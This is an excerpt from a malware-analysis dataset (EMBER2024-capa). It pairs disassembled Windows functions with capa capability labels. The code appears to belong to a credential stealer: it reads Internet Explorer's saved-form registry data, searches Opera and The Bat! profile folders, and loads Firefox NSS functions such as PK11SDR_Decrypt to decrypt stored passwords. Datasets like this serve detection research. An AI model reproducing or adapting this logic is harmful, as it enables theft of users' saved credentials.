joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40da82
Capabilities:
Terminate process

Disassembly:
push ecx
push ecx
push ebx
push ebp
xor ebx, ebx
push esi
push edi
cmp dword [esp + 0x1c], ebx
je 0x40db91
cmp dword [esp + 0x20], ebx
je 0x40db91
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push ebx
push ebx
push 0xffffffffffffffff
push dword [esp + 0x28]
mov ebp, 0xfde9
push ebx
push ebp
call esi
lea edi, [eax + eax]
mov dword [esp + 0x14], eax
cmp edi, 0x6400000
ja 0x40db0a
cmp edi, ebx
jne 0x40dacb
xor edi, edi
inc edi
add edi, 4
cmp dword [0x42ca0c], ebx
jne 0x40dae3
call fcn.00405c10
cmp al, bl
je 0x40db91
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
jne 0x40db04
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esp + 0x10], eax
jmp 0x40db0e
mov dword [esp + 0x10], ebx
cmp dword [esp + 0x10], ebx
je 0x40db91
push dword [esp + 0x14]
push dword [esp + 0x14]
push 0xffffffffffffffff
push dword [esp + 0x28]
push ebx
push ebp
call esi
push ebx
push ebx
push 0xffffffffffffffff
push dword [esp + 0x2c]
push ebx
push ebp
call esi
lea edi, [eax + eax]
mov dword [esp + 0x14], eax
cmp edi, 0x6400000
ja 0x40db7c
cmp edi, ebx
jne 0x40db48
xor edi, edi
inc edi
add edi, 4
cmp dword [0x42ca0c], ebx
jne 0x40db5c
call fcn.00405c10
cmp al, bl
je 0x40db88
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
je 0x40dafd
mov dword [esp + 0x1c], eax
jmp 0x40db80
mov dword [esp + 0x1c], ebx
mov edi, dword [esp + 0x1c]
cmp edi, ebx
jne 0x40db9a
push dword [esp + 0x10]
call fcn.00405c44
xor al, al
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push dword [esp + 0x14]
push edi
push 0xffffffffffffffff
push dword [esp + 0x2c]
push ebx
push ebp
call esi
mov ebx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0x4225d0
push ebx
call esi
test eax, eax
jne 0x40dbcd
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x122e7eca
jmp 0x40dbff
push str.Group
push ebx
call esi
test eax, eax
jne 0x40dbe7
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x5278b0f
jmp 0x40dbff
push 0x4225e8
push ebx
call esi
test eax, eax
jne 0x40dc0a
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x1d357bc2
mov ecx, edi
mov edi, dword [esp + 0x28]
call fcn.004011e8
push dword [esp + 0x10]
call fcn.00405c44
push dword [esp + 0x1c]
call fcn.00405c44
mov al, 1
jmp 0x40db93
Function at 0x40dfd9
Capabilities:
Get file size

Disassembly:
mov eax, 0x41dc6f
call fcn.004198ec
sub esp, 0x18
push ebx
push esi
xor esi, esi
push edi
cmp dword [ebp + 0xc], esi
je 0x40e08e
push esi
push dword [ebp + 0xc]
call fcn.004047b2
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40e08e
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, esi
je 0x40e087
cmp edi, 0xffffffff
je 0x40e087
push 1
push edi
lea esi, [ebp - 0x20]
call fcn.00405d65
xor esi, esi
mov dword [ebp - 4], esi
cmp edi, esi
jbe 0x40e04a
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp - 0x20]
add eax, esi
push eax
push ebx
call fcn.00404842
test eax, eax
je 0x40e04a
add esi, eax
cmp esi, edi
jb 0x40e02f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call fcn.0040d392
mov bl, al
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
and bl, 1
call fcn.0040dc23
and al, bl
add esp, 0x10
mov byte [ebp + 0xf], al
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x20]
call fcn.00405f2c
mov al, byte [ebp + 0xf]
jmp 0x40e090
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x40e5c9
Capabilities:
Encode data using xor
Hash data using fnv
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x924
push ebx
push esi
push edi
call fcn.004046cc
xor esi, esi
cmp dword [ebp + 8], esi
je 0x40e7cf
push esi
push dword [ebp + 8]
call fcn.004047b2
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x40e7cf
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call fcn.004046cc
lea eax, [ebp - 0x920]
mov dword [ebp - 0xc], esi
test eax, eax
je 0x40e7c1
push esi
lea eax, [ebp - 0xc]
push eax
push 0x800
lea eax, [ebp - 0x920]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40e7c1
mov ebx, dword [ebp - 0xc]
cmp ebx, esi
je 0x40e7c1
lea eax, [ebx - 4]
mov dword [ebp - 4], esi
cmp eax, esi
jbe 0x40e600
mov eax, dword [ebp - 4]
cmp dword [ebp + eax - 0x920], 1
jne 0x40e7a9
call fcn.004046cc
push 1
push esi
push esi
push dword [ebp + 8]
call edi
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40e683
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40e683
mov dword [ebp - 8], esi
jmp 0x40e689
mov eax, dword [ebp - 8]
mov dword [ebp - 8], eax
call fcn.004046cc
mov eax, dword [ebp - 8]
push esi
sub eax, ebx
add eax, dword [ebp - 4]
push esi
push eax
push dword [ebp + 8]
call edi
call fcn.004046cc
lea eax, [ebp - 0x120]
mov dword [ebp - 0x10], esi
test eax, eax
je 0x40e7bd
push esi
lea eax, [ebp - 0x10]
push eax
push 0x100
lea eax, [ebp - 0x120]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40e7bd
mov ebx, dword [ebp - 0x10]
cmp ebx, esi
je 0x40e7bd
lea eax, [ebp - 0x120]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
push 1
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], ebx
call dword [0x42ca04]
test eax, eax
je 0x40e797
mov eax, 0x80
cmp ebx, eax
jbe 0x40e714
mov ebx, eax
xor ecx, ecx
mov eax, 0x811c9dc5
cmp ebx, esi
jle 0x40e734
movzx edx, byte [ebp + ecx - 0x120]
xor eax, edx
imul eax, eax, 0x1000193
inc ecx
cmp ecx, ebx
jl 0x40e71f
mov ecx, dword [ebp + 0xc]
imul eax, eax, 0x1000193
push eax
call fcn.00406161
call fcn.004046cc
push 1
push esi
push esi
push dword [ebp + 8]
call edi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40e766
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40e766
xor eax, eax
jmp 0x40e768
mov eax, ebx
sub eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
push eax
call fcn.00406161
push dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
call fcn.00406161
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
push esi
push dword [ebp - 0x14]
call fcn.004060be
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.004046cc
push esi
push esi
push dword [ebp - 8]
push dword [ebp + 8]
call edi
mov ebx, dword [ebp - 0xc]
inc dword [ebp - 4]
lea eax, [ebx - 4]
cmp dword [ebp - 4], eax
jb 0x40e64d
jmp 0x40e600
xor al, al
jmp 0x40e7d1
call fcn.004046cc
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ed85
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa44
push ebx
mov eax, 0x200
push esi
push edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x640]
xor edi, edi
push eax
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x10], edi
call fcn.00406850
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 0x640]
push edi
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidA]
test eax, eax
je 0x40ef03
push 0x10
lea eax, [ebp - 0x3c]
push 0x422870
push eax
mov esi, 0xba0da71d
call fcn.00413290
mov edx, dword [ebp - 0xc]
add esp, 0xc
xor ecx, ecx
cmp edx, edi
jbe 0x40ee24
movsx ebx, byte [ebp + ecx - 0x240]
imul ebx, esi
imul esi, esi, 0xbc8f
mov eax, ecx
and eax, 3
lea eax, [ebp + eax*4 - 0x3c]
xor dword [eax], ebx
inc ecx
cmp ecx, edx
jb 0x40ee03
mov eax, dword [ebp - 4]
cmp eax, edi
jbe 0x40ee54
lea ecx, [ebp - 0x440]
sub ecx, edx
mov dword [ebp - 8], eax
movsx ebx, byte [ecx + edx]
imul ebx, esi
imul esi, esi, 0xbc8f
mov eax, edx
and eax, 3
lea eax, [ebp + eax*4 - 0x3c]
xor dword [eax], ebx
inc edx
dec dword [ebp - 8]
jne 0x40ee36
mov al, byte [ebp - 0x3c]
mov ecx, dword [ebp + 8]
or al, 1
lea esi, [ebp - 0xa40]
xor edx, edx
cmp word [ecx], di
je 0x40eea4
add ecx, 2
inc edx
cmp edx, 4
jl 0x40ee64
jmp 0x40ee9f
cmp word [ecx + 2], di
je 0x40eea4
lea edx, [ebp - 0x640]
cmp esi, edx
jae 0x40eea4
mov dl, byte [ecx]
mov bl, byte [ecx + 2]
dec dl
shl dl, 4
sub bl, 0x21
or dl, bl
sub dl, al
mov byte [esi], dl
mov dl, 0xf5
inc esi
add ecx, 4
imul dl
cmp word [ecx], di
jne 0x40ee74
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xa40]
sub esi, eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18]
push eax
push 1
push edi
push edi
lea eax, [ebp - 0x2c]
push eax
push edi
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x2c], 0x10
mov dword [ebp - 0x24], esi
call dword [0x42ca80]
test eax, eax
je 0x40ef03
mov esi, dword [ebp + 0xc]
push 0xfff
push esi
push dword [ebp - 0x18]
push dword [ebp - 0x14]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push dword [ebp - 0x14]
xor ecx, ecx
mov dword [ebp - 0x10], eax
mov word [esi + eax*2], cx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f18a
Capabilities:
Enumerate browser history

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov esi, 0x42d054
push esi
call fcn.00406650
xor ebx, ebx
mov eax, dword [0x42ca84]
mov edi, dword [eax*4 + 0x427b58]
cmp edi, ebx
je 0x40f1d9
call fcn.004046cc
call fcn.00403fca
mov dword [esp + 0x18], eax
push ebx
lea eax, [esp + 0x1c]
push eax
push 4
pop eax
mov ecx, esi
call fcn.004060be
inc dword [0x42ca84]
jmp 0x40f1a3
lea eax, [esp + 0x14]
push eax
push 0x41f50c
push 1
push ebx
push str._J7_
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x40f290
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
push eax
call dword [ecx + 0x1c]
test eax, eax
jne 0x40f286
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
jne 0x40f27c
jmp 0x40f262
cmp dword [esp + 0x24], ebx
je 0x40f252
call fcn.004046cc
mov edi, dword [esp + 0x24]
call fcn.00403fca
cmp eax, ebx
je 0x40f248
mov dword [esp + 0x18], eax
push ebx
lea eax, [esp + 0x1c]
push eax
push 4
pop eax
mov ecx, esi
call fcn.004060be
push dword [esp + 0x24]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [esp + 0x28], ebx
je 0x40f262
push dword [esp + 0x28]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x24]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x40f21c
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f652
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
push 0x421870
call fcn.004046cc
mov ebx, str.crypt32.dll
mov ecx, eax
call fcn.004010c5
xor esi, esi
mov dword [0x42c5dc], eax
cmp eax, esi
je 0x40f843
push 0xf0000000
push 1
push esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x40f843
cmp dword [ebp - 8], esi
je 0x40f843
mov eax, dword [0x42d058]
shr eax, 2
mov dword [ebp - 0x10], esi
test eax, eax
jle 0x40f800
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [0x42d054]
mov ecx, dword [ebp - 0x10]
mov edi, dword [eax + ecx*4]
cmp edi, esi
je 0x40f7ec
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push 0x8004
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x40f7ec
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x40f7ec
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3c]
push eax
push 2
push dword [ebp - 0xc]
mov dword [ebp - 0x14], 0x14
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x40f7e3
call fcn.004046cc
cmp dword [0x42ca0c], esi
jne 0x40f74f
call fcn.00405c10
test al, al
je 0x40f773
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x88
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
je 0x40f83c
mov esi, eax
xor eax, eax
mov dword [esi + 0x80], edi
mov word [esi], ax
mov byte [ebp - 1], al
xor edi, edi
mov al, byte [ebp + edi - 0x3c]
add byte [ebp - 1], al
movzx eax, al
push eax
lea eax, [ebp - 0x28]
push str._2.2X
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
inc edi
cmp edi, 0x14
jl 0x40f783
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 0x28]
push str._2.2X
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
lea eax, [ebp - 0x18]
push eax
push 4
pop eax
mov ecx, 0x42d044
mov dword [ebp - 0x18], esi
call fcn.004060be
xor esi, esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [0x42d058]
inc dword [ebp - 0x10]
shr eax, 2
cmp dword [ebp - 0x10], eax
jl 0x40f6c8
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push fcn.004046cc
push 0x40f507
push 1
push 1
push str.SOFTWAREMicrosoftInternet_ExplorerIntelliFormsStorage2
call fcn.004046cc
mov edx, 0x80000001
mov ecx, eax
call fcn.004069e9
push 0x42d044
call fcn.00406650
mov al, 1
jmp 0x40f845
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f997
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x660
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.004130d0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [esp + 0xc]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4215cc
lea eax, [esp + 0xc]
push eax
call esi
mov eax, dword [ebp + 0x10]
add eax, 0x2c
push eax
lea eax, [esp + 0xc]
push eax
call esi
push str.Application_DataOpera
lea eax, [esp + 0xc]
push eax
call esi
lea eax, [esp + 8]
test eax, eax
je 0x40fad9
xor eax, eax
cmp eax, fcn.0040f875
je 0x40fad9
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x464]
push eax
call edi
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40fa46
test al, 0x10
je 0x40fa46
push 0x421a50
lea eax, [esp + 0x464]
push eax
call esi
lea eax, [esp + 0x210]
push eax
lea eax, [esp + 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40fad9
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
test byte [esp + 0x210], 0x10
je 0x40fab7
push 0x421a58
lea eax, [esp + 0x240]
push eax
call esi
test eax, eax
je 0x40fabf
push 0x421a5c
lea eax, [esp + 0x240]
push eax
call esi
test eax, eax
je 0x40fabf
push 0
lea eax, [esp + 0x214]
push eax
lea eax, [esp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0040f875
add esp, 0x10
test al, al
je 0x40fad2
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x210]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40fa69
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4102fe
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x420
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov dword [esp + 0x18], 0xb
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x14], ebp
mov ecx, 0x400
lea eax, [esp + 0x30]
mov byte [eax], 0
inc eax
dec ecx
jne 0x410327
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, str._0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
cmp dword [esp + 0x2c], 0x64
ja 0x410515
mov ebx, dword [esp + 0x434]
push ebx
call esi
sub eax, 3
cmp ebp, eax
jae 0x410515
movsx eax, byte [ebx + ebp]
push eax
push edi
call fcn.00414eb0
mov dword [esp + 0x28], eax
movsx eax, byte [ebx + ebp + 1]
push eax
push edi
call fcn.00414eb0
add esp, 0x10
cmp dword [esp + 0x20], 0
mov dword [esp + 0x28], eax
je 0x410515
test eax, eax
je 0x410515
push eax
call esi
push edi
mov ebx, eax
call esi
push dword [esp + 0x20]
sub eax, ebx
cdq
and edx, 0xf
add eax, edx
mov dword [esp + 0x28], eax
sar dword [esp + 0x28], 4
call esi
push edi
mov ebx, eax
call esi
mov ecx, eax
sub ecx, ebx
shl ecx, 2
or ecx, dword [esp + 0x24]
test ebp, ebp
jne 0x4103de
mov eax, 0x103
sub eax, ecx
lea edx, [eax - 4]
mov dword [esp + 0x1c], edx
push 3
xor edx, edx
mov dword [esp + 0x1c], eax
pop ebx
div ebx
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x14]
inc dword [esp + 0x14]
mov byte [esp + eax + 0x30], cl
lea eax, [ebp + 2]
cmp eax, dword [esp + 0x18]
ja 0x4104c9
mov eax, dword [esp + 0x434]
movsx eax, byte [eax + ebp + 2]
push eax
push edi
call fcn.00414eb0
pop ecx
pop ecx
mov dword [esp + 0x20], eax
test eax, eax
je 0x410515
push eax
call esi
push edi
mov ebx, eax
call esi
push dword [esp + 0x28]
sub eax, ebx
cdq
and edx, 3
add eax, edx
sar eax, 2
mov byte [esp + 0x17], al
and byte [esp + 0x17], 0xf
call esi
push edi
mov ebx, eax
call esi
mov ecx, dword [esp + 0x14]
sub al, bl
shl al, 4
and al, 0xf0
or al, byte [esp + 0x13]
inc dword [esp + 0x14]
mov byte [esp + ecx + 0x30], al
lea eax, [ebp + 3]
cmp eax, dword [esp + 0x18]
ja 0x4104c9
mov eax, dword [esp + 0x434]
movsx eax, byte [eax + ebp + 3]
push eax
push edi
call fcn.00414eb0
pop ecx
pop ecx
mov dword [esp + 0x28], eax
test eax, eax
je 0x410515
push dword [esp + 0x20]
call esi
push edi
mov ebx, eax
call esi
push dword [esp + 0x28]
sub al, bl
shl al, 6
mov byte [esp + 0x17], al
and byte [esp + 0x17], 0xc0
call esi
push edi
mov ebx, eax
call esi
mov ecx, dword [esp + 0x14]
sub al, bl
and al, 0x3f
or al, byte [esp + 0x13]
inc dword [esp + 0x14]
add ebp, 4
inc dword [esp + 0x2c]
mov byte [esp + ecx + 0x30], al
cmp ebp, dword [esp + 0x18]
jb 0x410339
cmp dword [esp + 0x1c], 0
je 0x410515
mov eax, 0x3ff
cmp dword [esp + 0x1c], eax
jb 0x4104df
mov dword [esp + 0x1c], eax
mov esi, dword [esp + 0x1c]
xor eax, eax
test esi, esi
je 0x410506
mov ecx, dword [esp + 0x14]
lea ecx, [esp + ecx + 0x2f]
mov dl, byte [ecx]
mov edi, dword [esp + 0x438]
xor dl, 0x5a
mov byte [eax + edi], dl
inc eax
dec ecx
cmp eax, esi
jb 0x4104f1
mov eax, dword [esp + 0x438]
mov byte [esi + eax], 0
mov al, 1
jmp 0x410517
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x420
ret
Function at 0x410bdd
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x660
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.004130d0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [esp + 0xc]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4215cc
lea eax, [esp + 0xc]
push eax
call esi
mov eax, dword [ebp + 0x10]
add eax, 0x2c
push eax
lea eax, [esp + 0xc]
push eax
call esi
push str.Application_DataThe_Bat_
lea eax, [esp + 0xc]
push eax
call esi
lea eax, [esp + 8]
test eax, eax
je 0x410d1f
xor eax, eax
cmp eax, fcn.00410b21
je 0x410d1f
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x464]
push eax
call edi
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x410c8c
test al, 0x10
je 0x410c8c
push 0x421a50
lea eax, [esp + 0x464]
push eax
call esi
lea eax, [esp + 0x210]
push eax
lea eax, [esp + 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x410d1f
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
test byte [esp + 0x210], 0x10
je 0x410cfd
push 0x421a58
lea eax, [esp + 0x240]
push eax
call esi
test eax, eax
je 0x410d05
push 0x421a5c
lea eax, [esp + 0x240]
push eax
call esi
test eax, eax
je 0x410d05
push 0
lea eax, [esp + 0x214]
push eax
lea eax, [esp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00410b21
add esp, 0x10
test al, al
je 0x410d18
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x210]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x410caf
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x410f11
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x28b4
call fcn.00419050
push ebx
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1464]
push eax
call edi
push str.nss3.dll
lea eax, [ebp - 0x1464]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.NSS_Init
call fcn.004046cc
lea ebx, [ebp - 0x1464]
mov ecx, eax
call fcn.004010c5
push str.NSS_Shutdown
mov dword [esi], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
push str.PK11_GetInternalKeySlot
mov dword [esi + 4], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
push str.PK11_FreeSlot
mov dword [esi + 8], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
push str.PK11_Authenticate
mov dword [esi + 0xc], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
push str.PK11SDR_Decrypt
mov dword [esi + 0x10], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
push str.NSSBase64_DecodeBuffer
mov dword [esi + 0x14], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
push str.SECITEM_FreeItem
mov dword [esi + 0x18], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
xor ecx, ecx
mov dword [esi + 0x1c], eax
cmp dword [esi], ecx
je 0x4110e3
cmp dword [esi + 4], ecx
je 0x4110e3
cmp dword [esi + 8], ecx
je 0x4110e3
cmp dword [esi + 0xc], ecx
je 0x4110e3
cmp dword [esi + 0x10], ecx
je 0x4110e3
cmp dword [esi + 0x14], ecx
je 0x4110e3
cmp dword [esi + 0x18], ecx
je 0x4110e3
cmp eax, ecx
je 0x4110e3
mov dword [ebp - 0x10], str.sqlite3.dll
mov dword [ebp - 0xc], str.mozsqlite3.dll
mov dword [ebp - 8], ecx
push dword [ebp + 8]
lea eax, [ebp - 0x28b4]
push eax
call edi
mov eax, dword [ebp - 8]
push dword [ebp + eax*4 - 0x10]
lea eax, [ebp - 0x28b4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.sqlite3_open16
call fcn.004046cc
lea ebx, [ebp - 0x28b4]
mov ecx, eax
call fcn.004010c5
push str.sqlite3_close
mov dword [esi + 0x20], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
push str.sqlite3_exec
mov dword [esi + 0x24], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
push str.sqlite3_free
mov dword [esi + 0x28], eax
call fcn.004046cc
mov ecx, eax
call fcn.004010c5
xor ecx, ecx
mov dword [esi + 0x2c], eax
cmp dword [esi + 0x20], ecx
je 0x4110d6
cmp dword [esi + 0x24], ecx
je 0x4110d6
cmp dword [esi + 0x28], ecx
je 0x4110d6
cmp eax, ecx
jne 0x4110eb
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jb 0x41104b
xor al, al
pop edi
pop ebx
leave
ret 4
mov al, 1
jmp 0x4110e5